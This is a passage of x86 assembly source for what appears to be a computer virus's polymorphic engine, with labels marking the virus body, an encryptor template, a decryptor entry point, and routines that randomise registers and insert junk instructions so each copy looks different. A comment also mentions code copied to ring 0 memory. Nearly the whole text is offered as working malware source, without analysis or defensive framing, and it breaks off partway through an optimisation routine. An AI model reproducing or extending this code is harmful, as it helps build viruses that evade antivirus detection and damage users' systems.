R1VirusStartEnd:
|
||
db 0
|
||
|
||
|
||
|
||
R1VirusEnd:
|
||
db R1VirusEndEnd-$-1
|
||
db "mov RX1,[N"
|
||
dd 3
|
||
db "]"
|
||
|
||
db "add RX1,N"
|
||
dd VSize
|
||
|
||
db "ofs 0"
|
||
|
||
db "db ",1
|
||
pushad
|
||
|
||
db "nfo RX2"
|
||
dd Undefined
|
||
|
||
db "sub RX1,RX0"
|
||
R1VirusEndEnd:
|
||
db 0
|
||
|
||
|
||
EncryptRX1:
|
||
db 0
|
||
|
||
|
||
db 1
|
||
dd RandomReg
|
||
db 0
|
||
|
||
|
||
OpcodeXor:
|
||
db 4
|
||
db "xor "
|
||
db 0
|
||
|
||
OpcodeAdd:
|
||
db 4
|
||
db "add "
|
||
db 0
|
||
|
||
OpcodeSub:
|
||
db 4
|
||
db "sub "
|
||
db 0
|
||
|
||
RandomReg:
|
||
db 0
|
||
db 1
|
||
dd RandomOpcode
|
||
|
||
db 1
|
||
dd RandomizeMemWithReg
|
||
db 0
|
||
|
||
RandomizeMemWithReg:
|
||
db RandomizeMemWithRegEnd-$-1
|
||
db "[RX1],N"
|
||
RandomNumber dd 0
|
||
RandomizeMemWithRegEnd:
|
||
db 0
|
||
|
||
|
||
|
||
RandomOpcode:
|
||
db 0
|
||
db 3
|
||
dd OpcodeXor
|
||
dd OpcodeAdd
|
||
dd OpcodeSub
|
||
db 0
|
||
|
||
|
||
|
||
|
||
|
||
Guide:
|
||
db DefinedTrash-$-1
|
||
db "trsh",LinesOfTrash
|
||
DefinedTrash:
|
||
|
||
db 1
|
||
; dd RandomEveryBoot
|
||
dd RandomEveryTime
|
||
|
||
db 1
|
||
dd MakeZeroOrEight
|
||
|
||
db 0
|
||
|
||
|
||
RandomEveryTime:
|
||
db RandomEveryTimeEnd-$-1
|
||
db "pfx ",64h ; prefix fs:
|
||
|
||
db "mov RX0,[N"
|
||
dd PointerToRandomMemory
|
||
db "]" ; mov X0, fs:[0ch]
|
||
RandomEveryTimeEnd:
|
||
db 0
|
||
|
||
RandomEveryBoot:
|
||
db RandomEveryBootEnd-$-1
|
||
db "nfo R"
|
||
RandomEveryBootEnd:
|
||
db 3
|
||
dd RndEcx
|
||
dd RndEdi
|
||
dd RndEsi
|
||
|
||
db 0
|
||
|
||
RndEcx:
|
||
db RndEcxEnd-$-1
|
||
db "3"
|
||
dd Undefined
|
||
db "mov RX0,R3"
|
||
RndEcxEnd:
|
||
db 0
|
||
|
||
|
||
RndEdi:
|
||
db RndEdiEnd-$-1
|
||
db "5"
|
||
dd Undefined
|
||
db "mov RX0,R5"
|
||
RndEdiEnd:
|
||
db 0
|
||
|
||
RndEsi:
|
||
db RndEsiEnd-$-1
|
||
db "6"
|
||
dd Undefined
|
||
db "mov RX0,R6"
|
||
RndEsiEnd:
|
||
db 0
|
||
|
||
MakeZeroOrEight:
|
||
db MakeZeroOrEight-$-1
|
||
|
||
db "and RX0,N"
|
||
dd 8
|
||
|
||
db "add RX0,[N" ; special variable 1 =
|
||
dd 1 ; pointer to jump table
|
||
|
||
db "]"
|
||
db "jmp [RX0]" ; jmp [X0]
|
||
MakeZeroOrEightEnd:
|
||
db 0
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
; ---------------------------------------------
|
||
; ---------------- MutateCode -----------------
|
||
; ---------------------------------------------
|
||
; ------------- Local variables
|
||
|
||
Prefix dd 0
|
||
|
||
EndWhere:
|
||
Trash dd 0
|
||
ToReg dd 0
|
||
ToMemValue dd 0
|
||
ToMemReg dd 0
|
||
|
||
FromWhere:
|
||
FromValue dd 0
|
||
FromReg dd 0
|
||
FromMemValue dd 0
|
||
FromMemReg dd 0
|
||
|
||
TempWhere:
|
||
TempValue dd 0
|
||
TempReg dd 0
|
||
TestMemValue dd 0
|
||
TestMemReg dd 0
|
||
|
||
Temp1 dd 0
|
||
Temp2 dd 0
|
||
|
||
|
||
Writeable equ 1b
|
||
Undefined equ 10b ; is has a unknown value
|
||
Uninitialized equ -1
|
||
TableSize equ EbxTable-EaxTable
|
||
|
||
EndValue dd 0
|
||
EndTypeOfValue dd 0
|
||
|
||
|
||
Tables: ; pointers to the different
|
||
; tables
|
||
RegTables dd EaxTable
|
||
MemoryTables dd 0 ; Is allocated later
|
||
StackTables dd 0 ; first table is EspTable
|
||
|
||
EaxTable:
|
||
EaxValueNumber dd 0
|
||
EaxValueReg dd 0
|
||
EaxMemoryNumber dd 0
|
||
EaxMemoryReg dd 0
|
||
EaxInformation dd Undefined+Writeable
|
||
|
||
EbxTable:
|
||
dd 0,0,0,0, Undefined+Writeable
|
||
EcxTable:
|
||
dd 0,0,0,0, Undefined+Writeable
|
||
EdxTable:
|
||
dd 0,0,0,0, Undefined+Writeable
|
||
EsiTable:
|
||
dd 0,0,0,0, Undefined+Writeable
|
||
EdiTable:
|
||
dd 0,0,0,0, Undefined+Writeable
|
||
|
||
; this table is copied to mem, its used to define
|
||
; starting values for the memory
|
||
; Undefined mem start as Undefined+Writeable (you could change this to
|
||
; only writable for slightly better code.)
|
||
|
||
Mem1Table:
|
||
db 4 ; how many tables
|
||
|
||
db 0 ; which table
|
||
dd 0,0,0,0, Undefined ; program entry point
|
||
|
||
db 1
|
||
dd 0,0,0,0, Undefined ; pointer to mem 0
|
||
|
||
db 2
|
||
dd 0,0,0,0, Undefined ; decryptor entry point
|
||
|
||
db 3
|
||
dd 0,0,0,0, Undefined ; where to start decrypt
|
||
|
||
|
||
RandomRegs:
|
||
dd Registers dup (-1) ; Random Regs
|
||
|
||
|
||
|
||
|
||
; mutates the code in esi and places the result in edi
|
||
; returns a pointer to the created code in esi
|
||
; returns a pointer to the created code + sizeof(created code) in edi
|
||
MutateCode:
|
||
push edi
|
||
|
||
MorphCodeLoop:
|
||
xor eax,eax
|
||
dec eax
|
||
push edi
|
||
lea edi,[ebp+EndWhere]
|
||
mov ecx,8
|
||
rep stosd
|
||
pop edi
|
||
|
||
call Parse
|
||
jmp MorphCodeLoop
|
||
|
||
|
||
MutateEnd:
|
||
pop eax ; return address of Parse
|
||
pop esi
|
||
add esi,16
|
||
and esi,0fffffff0h
|
||
add edi,10
|
||
ret
|
||
|
||
|
||
|
||
|
||
|
||
|
||
; ----------------------- Parser
|
||
|
||
ParseSpecialVariables:
|
||
dd (ParseSpecialVariablesEnd-ParseSpecialVariables-4)/4+1
|
||
dd Op_db, Op_encrypt, Op_setinfo, Op_offset, Op_prefix
|
||
dd Op_trash,Op_dontparse,Op_jmp
|
||
ParseSpecialVariablesEnd:
|
||
|
||
ParseSpecialProcedures:
|
||
dd ParseDeclareByte, ParseEncrypt, ParseChangeInfo
|
||
dd ParseSaveOffset, ParsePrefix, ParseTrash, ParseDontParse
|
||
dd TemporaryParseJump
|
||
ParseSpecialProceduresEnd:
|
||
|
||
ParseInstructionData:
|
||
dd (ParseInstructionDataEnd-ParseInstructionData-4)/4+1
|
||
dd Op_add, Op_mov, Op_sub, Op_or, Op_xor, Op_and
|
||
ParseInstructionDataEnd:
|
||
|
||
|
||
|
||
|
||
|
||
AddPos equ 0
|
||
MovPos equ 1
|
||
SubPos equ 2
|
||
OrPos equ 3
|
||
XorPos equ 4
|
||
AndPos equ 5
|
||
|
||
|
||
InstructionData:
|
||
AddInfo:
|
||
dd offset AddInstruction
|
||
dd Op_add
|
||
|
||
MovInfo:
|
||
dd offset MovInstruction
|
||
dd Op_mov
|
||
|
||
SubInfo:
|
||
dd offset SubInstruction
|
||
dd Op_sub
|
||
|
||
OrInfo:
|
||
dd offset OrInstruction
|
||
dd Op_or
|
||
|
||
XorInfo:
|
||
dd offset XorInstruction
|
||
dd Op_xor
|
||
|
||
AndInfo:
|
||
dd offset AndInstruction
|
||
dd Op_and
|
||
|
||
|
||
|
||
|
||
InstuctionTablesEnd:
|
||
|
||
|
||
|
||
|
||
Parse:
|
||
push edi
|
||
mov ecx,[ParseSpecialVariables+ebp]
|
||
lea edi,[ParseSpecialVariables+ebp+4]
|
||
|
||
|
||
|
||
lodsd
|
||
bswap eax
|
||
|
||
repnz scasd
|
||
test ecx,ecx
|
||
jz ParseInstruction
|
||
|
||
pop edi
|
||
lea ebx,[ParseSpecialProceduresEnd+ebp]
|
||
imul ecx,ecx,4
|
||
sub ebx,ecx
|
||
mov ebx,[ebx]
|
||
add ebx,ebp
|
||
jmp ebx
|
||
|
||
|
||
ParseDeclareByte:
|
||
mov edx,Op_db
|
||
call OutputOnlyOpcode
|
||
xor eax,eax
|
||
lodsb
|
||
mov ecx,eax
|
||
stosb ; number of bytes to declare
|
||
rep movsb
|
||
ret
|
||
|
||
ParseEncrypt:
|
||
call GetOperand
|
||
ret
|
||
|
||
ParseChangeInfo:
|
||
mov eax,666666h
|
||
call GetOperand
|
||
mov ecx,eax
|
||
lodsd
|
||
xchg eax,ecx
|
||
call ChangeInfo
|
||
ret
|
||
|
||
ParseSaveOffset:
|
||
mov edx,Op_offset
|
||
call OutputOnlyOpcode
|
||
movsb
|
||
ret
|
||
|
||
ParsePrefix:
|
||
xor eax,eax
|
||
lodsb
|
||
mov [Prefix+ebp],eax
|
||
ret
|
||
|
||
ParseTrash:
|
||
xor eax,eax
|
||
lodsb
|
||
mov [HowMuchTrash+ebp],eax
|
||
ret
|
||
|
||
ParseDontParse:
|
||
xor eax,eax
|
||
lodsb
|
||
mov ecx,eax
|
||
add edi,16
|
||
and edi,0fffffff0h
|
||
rep movsb
|
||
ret
|
||
|
||
TemporaryParseJump:
|
||
add edi,16
|
||
and edi,0fffffff0h
|
||
|
||
call OutputPrefix
|
||
mov eax,Op_jmp
|
||
bswap eax
|
||
stosd
|
||
|
||
call GetOperand
|
||
|
||
add eax,'0'
|
||
add eax,']'*256
|
||
shl eax,16
|
||
mov ax,'R['
|
||
stosd
|
||
ret
|
||
|
||
|
||
|
||
ParseInstruction:
|
||
mov ecx,[ParseInstructionData+ebp]
|
||
lea edi,[ParseInstructionData+ebp+4]
|
||
repnz scasd
|
||
pop edi
|
||
test ecx,ecx
|
||
jz MutateEnd
|
||
|
||
|
||
lea ebx,[InstuctionTablesEnd+ebp]
|
||
imul ecx,ecx,8
|
||
|
||
sub ebx,ecx
|
||
push ebx
|
||
|
||
ParseOperands:
|
||
call GetOperand
|
||
sub ebx,4
|
||
|
||
push ebx ; ToType
|
||
push eax ; ToOperand
|
||
|
||
inc esi
|
||
call GetOperand
|
||
push ebx ; FromTypeOfValue
|
||
push eax ; FromOperand
|
||
|
||
mov [EndValue+ebp],eax
|
||
mov [EndTypeOfValue+ebp],ebx
|
||
|
||
call GenerateTrash
|
||
|
||
mov eax,[esp+8] ; ToOperand
|
||
mov ebx,[esp+12] ; ToType
|
||
mov ecx,Writeable
|
||
call DeleteFromInfo
|
||
|
||
pop [FromOperand+ebp]
|
||
pop [FromTypeOfValue+ebp]
|
||
|
||
pop eax
|
||
pop ebx
|
||
mov [ToOperand+ebp],eax
|
||
mov [ToType+ebp],ebx
|
||
|
||
mov ecx,Writeable
|
||
call DeleteFromInfo
|
||
|
||
|
||
pop [EmulateInstruction+ebp]
|
||
|
||
call OutputPrefix
|
||
call EmuProc
|
||
|
||
call GenerateTrash
|
||
ret
|
||
|
||
|
||
; return
|
||
; eax = register or number
|
||
; ebx =
|
||
; 0 = value/number
|
||
; 4 = value/register
|
||
; 8 = memory/number
|
||
; 12 = memory/register
|
||
|
||
|
||
; return
|
||
; EBX = 0 if value and 4 if memory
|
||
; |'V' or 'M'
|
||
; |
|
||
; db "M"
|
||
ReadTypeOfData:
|
||
xor eax,eax
|
||
xor ebx,ebx
|
||
lodsb
|
||
cmp al,'M'
|
||
sete bl
|
||
shl bl,3
|
||
ret
|
||
|
||
; return
|
||
; EAX = the number or register
|
||
; EBX = 0 if number and 4 if register
|
||
|
||
; This procedure is in the "copy to ring 0" mem.
|
||
|
||
;GetOperand:
|
||
; xor edx,edx
|
||
; mov al,byte ptr [esi]
|
||
; cmp al,'['
|
||
; setz dl
|
||
; mov ecx,edx
|
||
; add esi,edx
|
||
; shl edx,3
|
||
; mov ebx,edx ; ebx = 0 or 8
|
||
|
||
; lodsb
|
||
; cmp al,'S' ; A variable
|
||
; jnz Label53
|
||
|
||
; mov eax,[PointerToDataSlack+ebp]
|
||
; mov edx,[esi]
|
||
; mov eax,[eax+edx*4]
|
||
; mov [esi],eax
|
||
; mov eax,'V'
|
||
; xor edx,edx
|
||
;
|
||
; Label53:
|
||
; cmp al,'R'
|
||
; setz dl
|
||
; shl edx,2
|
||
; add ebx,edx ; ebx = ebx + (0 or 4)
|
||
;
|
||
; test edx,edx ; is value
|
||
; jz ReadValue
|
||
;
|
||
; xor eax,eax
|
||
; lodsb ; read register
|
||
|
||
; cmp al,'X'
|
||
; jz GetRandomReg
|
||
|
||
; sub eax,'0'
|
||
|
||
; add esi,ecx
|
||
; ret
|
||
|
||
; ReadValue:
|
||
; lodsd
|
||
; add esi,ecx
|
||
; ret
|
||
|
||
|
||
GetRandomReg:
|
||
push ebx
|
||
call AsciiToNum
|
||
add esi,ecx
|
||
shl eax, 2
|
||
lea eax,[eax+ebp+RandomRegs] ; eax -> RandomReg
|
||
mov ebx,[eax]
|
||
|
||
cmp ebx,Uninitialized
|
||
jz GetRandomRegPtrInitialize ; There is no RnR
|
||
; Xx, create one
|
||
xchg eax,ebx ; eax = Xx
|
||
pop ebx
|
||
ret
|
||
|
||
GetRandomRegPtrInitialize:
|
||
push eax
|
||
|
||
|
||
call GetWriteableReg
|
||
pop ebx
|
||
|
||
mov [ebx],eax ; Mov RR,Random Operand
|
||
pop ebx
|
||
ret
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
; -----------------------------------------------
|
||
; ---------------------------- Generic polymorher
|
||
; -----------------------------------------------
|
||
|
||
; This proc takes data from WhereFrom and WhereTo and
|
||
; creates instructions from that data.
|
||
|
||
HowMuchTrash dd LinesOfTrash
|
||
|
||
RandomProcs:
|
||
db 6 ; number of instructions
|
||
|
||
db 6 ; how often it should come up
|
||
db 2
|
||
db 1
|
||
db 1
|
||
db 1
|
||
db 1
|
||
|
||
dd MovPos
|
||
dd AddPos
|
||
dd SubPos
|
||
dd OrPos
|
||
dd XorPos
|
||
dd AndPos
|
||
|
||
|
||
|
||
GenerateTrash:
|
||
mov eax,[HowMuchTrash+ebp] ; 1/LinesOfTrash that we
|
||
; stop creating trash
|
||
inc eax
|
||
call Random
|
||
|
||
test eax,eax
|
||
jz Return
|
||
|
||
|
||
|
||
|
||
call GetWriteable
|
||
mov [ToOperand+ebp],eax
|
||
mov [ToType+ebp],ebx
|
||
|
||
call RandomOperand
|
||
mov [FromOperand+ebp],eax
|
||
mov [FromTypeOfValue+ebp],ebx
|
||
|
||
lea ebx,[RandomProcs+ebp]
|
||
|
||
xor eax,eax
|
||
xor ecx,ecx
|
||
xor edx,edx
|
||
mov cl, byte ptr [ebx]
|
||
|
||
Label36:
|
||
inc ebx
|
||
mov dl, byte ptr [ebx]
|
||
add eax,edx
|
||
loop Label36
|
||
|
||
call Random
|
||
|
||
lea ebx,[RandomProcs+ebp]
|
||
|
||
Label37:
|
||
inc ebx
|
||
mov dl, byte ptr [ebx]
|
||
sub eax, edx
|
||
jnc Label37
|
||
|
||
lea eax,[RandomProcs+ebp]
|
||
sub ebx,eax
|
||
dec ebx
|
||
shl ebx,2
|
||
inc ebx
|
||
|
||
mov dl,byte ptr [eax]
|
||
add ebx,edx
|
||
add ebx,eax
|
||
|
||
mov ebx,[ebx]
|
||
|
||
lea ebx,[InstructionData+ebx*8+ebp]
|
||
|
||
mov [EmulateInstruction+ebp],ebx
|
||
call EmuProc
|
||
jmp GenerateTrash
|
||
|
||
|
||
; ------------------------------------------------
|
||
; ---------------------------- Emulation functions
|
||
; ------------------------------------------------
|
||
|
||
AddInstruction:
|
||
add [eax+edx],ecx
|
||
ret
|
||
|
||
SubInstruction:
|
||
sub [eax+edx],ecx
|
||
ret
|
||
|
||
MovInstruction:
|
||
xor ebx,ebx
|
||
mov dword ptr [eax],ebx
|
||
mov dword ptr [eax+4],ebx
|
||
mov dword ptr [eax+8],ebx
|
||
mov dword ptr [eax+12],ebx
|
||
|
||
mov [eax+edx],ecx
|
||
|
||
ret
|
||
|
||
OrInstruction:
|
||
or [eax+edx],ecx
|
||
ret
|
||
|
||
XorInstruction:
|
||
xor [eax+edx],ecx
|
||
ret
|
||
|
||
AndInstruction:
|
||
and [eax+edx],ecx
|
||
ret
|
||
|
||
EmulateInstruction dd 0
|
||
|
||
ToOperand dd 0
|
||
ToType dd 0
|
||
|
||
FromOperand dd 0
|
||
FromTypeOfValue dd 0
|
||
|
||
EmuProc:
|
||
|
||
ChangeRegPart:
|
||
mov eax,[ToOperand+ebp]
|
||
mov ebx,[ToType+ebp]
|
||
|
||
mov edx,[EmulateInstruction+ebp]
|
||
mov edx,[edx+4]
|
||
shr ebx,2
|
||
inc ebx
|
||
call OutputOpcode
|
||
dec ebx
|
||
shl ebx,2
|
||
|
||
call UndefineDependentOperands
|
||
|
||
pushad
|
||
mov ebx,[EmulateInstruction+ebp]
|
||
mov ebx,[ebx+4]
|
||
|
||
cmp ebx,Op_mov
|
||
jnz Label34
|
||
|
||
mov eax,[ToOperand+ebp]
|
||
mov ebx,[ToType+ebp]
|
||
mov ecx,Undefined
|
||
call DeleteFromInfo
|
||
Label34:
|
||
popad
|
||
|
||
|
||
call IsOperandUndefined
|
||
jz ChangeOutput
|
||
|
||
call GetTable
|
||
|
||
mov ecx,[FromOperand+ebp]
|
||
mov edx,[FromTypeOfValue+ebp]
|
||
|
||
xor ebx,ebx
|
||
|
||
test edx,edx
|
||
jz ValueIsProperlyEmulated_DontNeedThisHack
|
||
|
||
add ebx,[eax]
|
||
ValueIsProperlyEmulated_DontNeedThisHack:
|
||
add ebx,[eax+4]
|
||
add ebx,[eax+8]
|
||
add ebx,[eax+12]
|
||
test ebx,ebx
|
||
jnz MakeUndefined
|
||
|
||
YesChangeIt:
|
||
mov ebx,[EmulateInstruction+ebp]
|
||
mov ebx,[ebx]
|
||
add ebx,ebp
|
||
call ebx
|
||
|
||
ChangeOutput:
|
||
call GetEqualValue
|
||
|
||
shr ebx,2
|
||
|
||
call Output
|
||
ret
|
||
|
||
MakeUndefined:
|
||
mov ebx,Undefined
|
||
or [eax+InfoPtr],ebx
|
||
jmp ChangeOutput
|
||
|
||
|
||
FoundEquals dd 0
|
||
ReadFromType dd 0
|
||
|
||
GetEqualValue:
|
||
xor ebx,ebx ; register table
|
||
|
||
mov [FoundEquals+ebp],ebx
|
||
mov [ReadFromType+ebp],ebx
|
||
|
||
mov ecx,Registers
|
||
call CompareOperands
|
||
|
||
mov ecx,[ToType+ebp]
|
||
cmp ecx,4
|
||
jae DontTryMemory
|
||
|
||
mov ecx,MemorySize
|
||
mov [ReadFromType+ebp],4
|
||
call CompareOperands
|
||
|
||
DontTryMemory:
|
||
|
||
push [FromOperand+ebp]
|
||
push [FromTypeOfValue+ebp]
|
||
|
||
mov eax,[FoundEquals+ebp]
|
||
inc eax
|
||
mov ecx,eax
|
||
call Random
|
||
|
||
|
||
imul eax,eax,8
|
||
mov ebx,[esp+eax]
|
||
mov eax,[esp+eax+4] ; eax = Operand
|
||
|
||
imul ecx,ecx,8
|
||
add esp,ecx
|
||
|
||
test ebx,ebx
|
||
jz Return ;
|
||
|
||
mov ecx,Writeable
|
||
call DeleteFromInfo ; delete writeable from mem
|
||
; might still create bugs!!!
|
||
; will be fixed in the future
|
||
; (the odds a bug will happen
|
||
; is extremly low)
|
||
|
||
ret
|
||
|
||
CompareOperands:
|
||
pop [ReturnAddress+ebp]
|
||
inc ecx
|
||
CmpLoop:
|
||
dec ecx
|
||
jnz Label30
|
||
jmp [ReturnAddress+ebp]
|
||
Label30:
|
||
|
||
mov eax,ecx
|
||
mov ebx,[ReadFromType+ebp]
|
||
|
||
call ReadOperand
|
||
|
||
cmp eax,[FromOperand+ebp]
|
||
jnz CmpLoop
|
||
|
||
cmp ebx,[FromTypeOfValue+ebp]
|
||
jnz CmpLoop
|
||
|
||
cmp ecx,[ToOperand+ebp]
|
||
jz CmpLoop
|
||
|
||
push ecx ; Operand
|
||
mov ebx,[ReadFromType+ebp] ; Type
|
||
add ebx,4
|
||
push ebx
|
||
inc [FoundEquals+ebp]
|
||
jmp CmpLoop
|
||
|
||
|
||
UndefineDependentOperands:
|
||
call IsOperandUndefined
|
||
jnz Return
|
||
|
||
pushad
|
||
xor ebx,ebx
|
||
mov ecx,Registers
|
||
|
||
call Undefine
|
||
|
||
mov ebx,4
|
||
mov ecx,MemorySize
|
||
call Undefine
|
||
|
||
popad
|
||
ret
|
||
|
||
|
||
Undefine:
|
||
inc ecx
|
||
mov edx,ebx
|
||
UndefineLoop:
|
||
|
||
dec ecx
|
||
jz Return
|
||
|
||
mov eax,ecx
|
||
mov ebx,edx
|
||
cmp eax,[ToOperand+ebp]
|
||
jz UndefineLoop
|
||
|
||
call ReadOperand
|
||
sub ebx,4
|
||
cmp ebx,[ToType+ebp]
|
||
jnz UndefineLoop
|
||
|
||
cmp eax,[ToOperand+ebp]
|
||
jnz UndefineLoop
|
||
|
||
|
||
|
||
push ecx
|
||
mov eax,ecx
|
||
mov ebx,edx
|
||
mov ecx,Undefined
|
||
call SetInfo
|
||
pop ecx
|
||
jmp UndefineLoop
|
||
|
||
|
||
; -----------------------------------------------
|
||
; -------------------------- High level functions
|
||
; -----------------------------------------------
|
||
|
||
|
||
|
||
|
||
RandomOperand:
|
||
mov eax,3+EndValueFrecuency
|
||
shr ebx,2 ; ebx = 0 or 1
|
||
sub eax,ebx ; eax = 3 or 2
|
||
|
||
call Random
|
||
xor ebx,ebx
|
||
|
||
test eax,eax
|
||
jz Random ; eax = 1 or 2
|
||
|
||
dec eax
|
||
jz GetReadableReg
|
||
|
||
|
||
sub eax,EndValueFrecuency+1
|
||
jz GetReadable
|
||
|
||
mov eax,[EndValue+ebp]
|
||
mov ebx,[EndTypeOfValue+ebp]
|
||
and ebx,111b
|
||
ret
|
||
|
||
|
||
GetWriteableReg:
|
||
call GetWriteableLabel1
|
||
test ebx,ebx
|
||
jnz GetWriteableReg
|
||
ret
|
||
|
||
; Returns a writeable operand
|
||
GetWriteable:
|
||
mov eax,3 ; create more reg then
|
||
call Random ; mem
|
||
test eax,eax
|
||
jnz GetWriteableReg
|
||
|
||
GetWriteableLabel1:
|
||
|
||
call GetReadable
|
||
mov ecx,Writeable
|
||
sub ebx,4
|
||
call TestInfo
|
||
jnz GetWriteableLabel1
|
||
ret
|
||
|
||
|
||
GetReadableReg:
|
||
call GetReadable
|
||
cmp ebx,4
|
||
jnz GetReadableReg
|
||
ret
|
||
|
||
|
||
; Returns a operand
|
||
GetReadable:
|
||
mov ebx,4
|
||
|
||
mov eax,Registers+MemorySize
|
||
call Random
|
||
inc eax
|
||
cmp eax,Registers+1
|
||
jl Return
|
||
|
||
shl ebx,1
|
||
sub eax,Registers+1
|
||
ret
|
||
|
||
|
||
|
||
|
||
|
||
; input
|
||
; eax = register or number
|
||
; ebx = number or register and value or mem
|
||
; ebx = 0 = number
|
||
; ebx = 1 = register
|
||
; ebx = 2 = [number]
|
||
; ebx = 3 = [register]
|
||
|
||
|
||
|
||
; ------------------------------------------
|
||
; ---------------------- Low level functions
|
||
; ------------------------------------------
|
||
|
||
Random:
|
||
push ebx
|
||
push ecx
|
||
push edx
|
||
|
||
mov ebx,eax
|
||
|
||
add eax,[RandomNumber+ebp]
|
||
mov cl,al
|
||
rol eax,cl
|
||
add eax,14
|
||
xor ecx,46
|
||
ror eax,cl
|
||
add eax,ecx
|
||
xor [RandomNumber+ebp],eax
|
||
|
||
test ebx,ebx
|
||
jz NoMod
|
||
|
||
xor edx,edx
|
||
div ebx
|
||
xchg eax,edx
|
||
NoMod:
|
||
pop edx
|
||
pop ecx
|
||
pop ebx
|
||
|
||
ret
|
||
|
||
|
||
; input
|
||
; edx = opcode
|
||
|
||
OutputOnlyOpcode:
|
||
add edi,16
|
||
and edi,0fffffff0h
|
||
bswap edx
|
||
mov [edi],edx
|
||
add edi,4
|
||
ret
|
||
|
||
OutputOpcode:
|
||
call OutputOnlyOpcode
|
||
jmp OutputNotComma
|
||
|
||
Output:
|
||
mov byte ptr [edi],','
|
||
inc edi
|
||
|
||
OutputNotComma:
|
||
push ecx
|
||
xor ecx,ecx
|
||
cmp ebx,1
|
||
setbe cl
|
||
lea ecx,[ecx*8+ecx]
|
||
push ecx
|
||
test ecx,ecx
|
||
jnz Label10
|
||
mov byte ptr [edi],'['
|
||
inc edi
|
||
|
||
Label10:
|
||
|
||
test ebx,1
|
||
setnz cl
|
||
|
||
shl ecx,2
|
||
add ecx,'N'
|
||
mov byte ptr [edi],cl
|
||
inc edi
|
||
cmp ecx,'N'
|
||
jz OutputNumber
|
||
add eax,'0'
|
||
stosb
|
||
sub eax,'0'
|
||
Label11:
|
||
pop ecx
|
||
test ecx,ecx
|
||
jnz Label12
|
||
|
||
mov byte ptr [edi],']'
|
||
inc edi
|
||
|
||
Label12:
|
||
pop ecx
|
||
|
||
ret
|
||
|
||
OutputNumber:
|
||
pop ecx
|
||
push ecx
|
||
test ecx,ecx
|
||
setnz cl
|
||
|
||
push eax
|
||
mov eax,'S'
|
||
mov byte ptr [edi+ecx-1],al ; variable
|
||
pop eax
|
||
stosd
|
||
|
||
jmp Label11
|
||
|
||
|
||
GetTable:
|
||
cmp ebx,8
|
||
stc
|
||
jz Return
|
||
|
||
dec eax
|
||
imul eax,eax,20 ; TableSize
|
||
add eax,[Tables+ebx+ebp]
|
||
clc
|
||
ret
|
||
|
||
|
||
|
||
SetInfo:
|
||
push eax
|
||
call GetTable
|
||
jc ReturnPopEax
|
||
or [eax+InfoPtr],ecx ; Set attribute
|
||
pop eax
|
||
ret
|
||
|
||
DeleteFromInfo:
|
||
push eax
|
||
call GetTable
|
||
jc ReturnPopEax
|
||
or [eax+InfoPtr],ecx ; Set attribute
|
||
xor [eax+InfoPtr],ecx ; Clear it
|
||
pop eax
|
||
ret
|
||
|
||
ChangeInfo:
|
||
push eax
|
||
call GetTable
|
||
jc ReturnPopEax
|
||
mov [eax+InfoPtr],ecx
|
||
pop eax
|
||
ret
|
||
|
||
|
||
IsOperandUndefined:
|
||
push ecx
|
||
mov ecx,Undefined
|
||
|
||
|
||
|
||
call TestInfo
|
||
pop ecx
|
||
jz Return
|
||
jc SetZeroFlag
|
||
ret
|
||
SetZeroFlag:
|
||
cmp eax,eax
|
||
ret
|
||
|
||
|
||
TestInfo:
|
||
push eax
|
||
call GetTable
|
||
|
||
jc ReturnPopEax
|
||
test [eax+InfoPtr],ecx
|
||
mov ecx,0
|
||
setnz cl
|
||
lahf
|
||
shl cl,6
|
||
btr ax,6+8
|
||
or ah,cl
|
||
sahf
|
||
pop eax
|
||
clc
|
||
ret
|
||
|
||
|
||
|
||
|
||
; eax = The operand
|
||
; ebx
|
||
; Which table to read from
|
||
|
||
ReadOperand:
|
||
call IsOperandUndefined
|
||
jz OperandIsUndefined
|
||
call GetTable
|
||
|
||
|
||
push ecx
|
||
xor ebx,ebx
|
||
mov ecx,16
|
||
|
||
|
||
FindValueLoop:
|
||
sub ecx,4
|
||
jecxz Label32
|
||
|
||
cmp [eax+ecx],ebx
|
||
jz FindValueLoop
|
||
|
||
Label32:
|
||
mov ebx,ecx
|
||
mov eax,[eax+ecx]
|
||
pop ecx
|
||
ret
|
||
|
||
OperandIsUndefined:
|
||
add ebx,4
|
||
ret
|
||
|
||
|
||
ReturnPopEax:
|
||
pop eax
|
||
ret
|
||
|
||
|
||
GetWhereFrom:
|
||
lea ebx,[FromWhere+ebp-4]
|
||
jmp GodDamnedLabelDammit
|
||
GetWhereTo:
|
||
lea ebx,[EndWhere+ebp-4]
|
||
GodDamnedLabelDammit:
|
||
push ebx
|
||
xor eax,eax
|
||
dec eax
|
||
GodDamnedLoopDammit:
|
||
add ebx,4
|
||
cmp eax,[ebx]
|
||
jz GodDamnedLoopDammit
|
||
mov eax,[ebx]
|
||
sub ebx,[esp]
|
||
sub ebx,4
|
||
add esp,4
|
||
ret
|
||
|
||
OutputPrefix:
|
||
push eax
|
||
|
||
xor eax,eax
|
||
cmp eax,[Prefix+ebp]
|
||
jz OutputPrefixEnd
|
||
|
||
add edi,16
|
||
and edi,0fffffff0h
|
||
mov eax,Op_db
|
||
bswap eax
|
||
stosd
|
||
xor eax,eax
|
||
inc eax
|
||
stosb
|
||
xor eax,eax
|
||
xchg eax,[Prefix+ebp]
|
||
|
||
stosb
|
||
|
||
OutputPrefixEnd:
|
||
pop eax
|
||
ret
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
Optimize:
|
||
call ClearDoNothingInstrucions
|
||
; call ClearUnnessesaryInstructions
|
||
|
||
xchg esi,edi
|
||
|
||
|
||
ret
|
||
|
||
|
||
MaybeUnnessesaryInstructions:
|
||
dd Op_mov, Op_add, Op_sub, Op_and, Op_or, Op_xor
|
||
MaybeUnnessesaryInstructionsEnd:
|
||
|
||
ClearUnnessesaryInstructions:
|
||
push edi
|
||
|
||
sub esi,16
|
||
|
||
ClearUnnessesaryInstructionsLoop:
|
||
push edi
|
||
add esi,16
|
||
and esi,0fffffff0h
|
||
